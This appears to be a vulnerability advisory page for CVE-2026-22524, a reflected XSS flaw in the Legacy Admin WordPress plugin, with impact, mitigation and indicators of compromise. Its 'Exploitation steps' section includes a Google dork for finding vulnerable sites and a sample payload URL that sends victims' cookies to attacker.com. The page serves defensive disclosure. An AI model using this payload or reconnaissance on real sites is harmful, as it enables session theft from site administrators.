Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2026-22524
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-22524 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Legacy Admin WordPress plugin developed by themepassion. It affects all versions from n/a through 9.5 (inclusive) and allows unauthenticated attackers to inject malicious scripts into web pages viewed by other users. The vulnerability was published on March 25, 2026, and was assigned by Patchstack. It carries a CVSS v3.1 base score of 7.1 (High) (Feedly, EUVD).

Technical details

The root cause is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). The plugin fails to properly sanitize or encode user-supplied input before reflecting it back in the generated HTML response, enabling an attacker to craft a malicious URL containing a JavaScript payload. Exploitation requires user interaction — specifically, a victim must be tricked into clicking a crafted link — but no authentication or special privileges are required on the attacker's side. The changed scope (S:C) in the CVSS vector indicates the injected script executes in the context of the victim's browser session, potentially affecting resources beyond the vulnerable component (Feedly).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, enabling session cookie theft, credential harvesting, redirection to phishing sites, or defacement of the page as seen by the victim. Because no authentication is required to craft the malicious payload, any user of a site running the vulnerable plugin version could be targeted. The confidentiality, integrity, and availability impacts are each rated Low with a changed scope, meaning the attack can affect browser-side resources beyond the vulnerable WordPress plugin itself (Feedly).

Exploitability

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported at this time. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Legacy Admin plugin (version ≤ 9.5) using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/legacy-admin).
  2. Identify the vulnerable parameter: Analyze the plugin's front-end or admin-facing pages to locate input parameters that are reflected in the HTTP response without proper sanitization.
  3. Craft a malicious URL: Construct a URL targeting the vulnerable endpoint with a reflected XSS payload embedded in the vulnerable parameter, e.g., https://victim-site.com/wp-admin/...?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Deliver the payload: Send the crafted URL to a target user (e.g., an administrator) via phishing email, social engineering, or a malicious link.
  5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or redirect them to a malicious site (Feedly).

Indicators of compromise

  • Network: HTTP GET or POST requests to WordPress admin or plugin pages containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters; outbound requests from victim browsers to unknown external domains shortly after loading a WordPress page.
  • Logs: WordPress or web server access logs showing requests with XSS payloads in query string parameters targeting Legacy Admin plugin endpoints; referrer headers pointing to external or suspicious domains.
  • File System: No direct file system artifacts expected for reflected XSS, but monitor for newly created or modified PHP files in wp-content/plugins/legacy-admin/ that could indicate follow-on compromise.
  • Process/Browser: Unexpected redirects or pop-ups reported by users when accessing WordPress admin pages; session tokens appearing in external server logs indicating cookie theft (Feedly).

Mitigation and workarounds

The vulnerability affects Legacy Admin plugin versions up to and including 9.5. Users should check for an updated version of the plugin from the WordPress plugin repository or the themepassion vendor and upgrade immediately if a patched release is available. If no patch is yet available, consider deactivating and removing the Legacy Admin plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Feedly, Patchstack).

Community reactions

The vulnerability was noted in the Wordfence Intelligence Weekly WordPress Vulnerability Report for the week of March 9–15, 2026, which aggregates newly disclosed WordPress plugin vulnerabilities. No significant independent researcher commentary, vendor statements beyond the Patchstack advisory, or notable social media discussion has been identified for this CVE (Wordfence Blog).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-92541HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-92540HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-86785MEDIUM5.3
  • woo-to-facebook-shop
NoNoSep 20, 2026
CVE-2026-92965LOW3.7
  • tiktok-for-business
NoYesSep 20, 2026
CVE-2026-92423LOW2.7
  • meow-gallery
NoYesSep 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management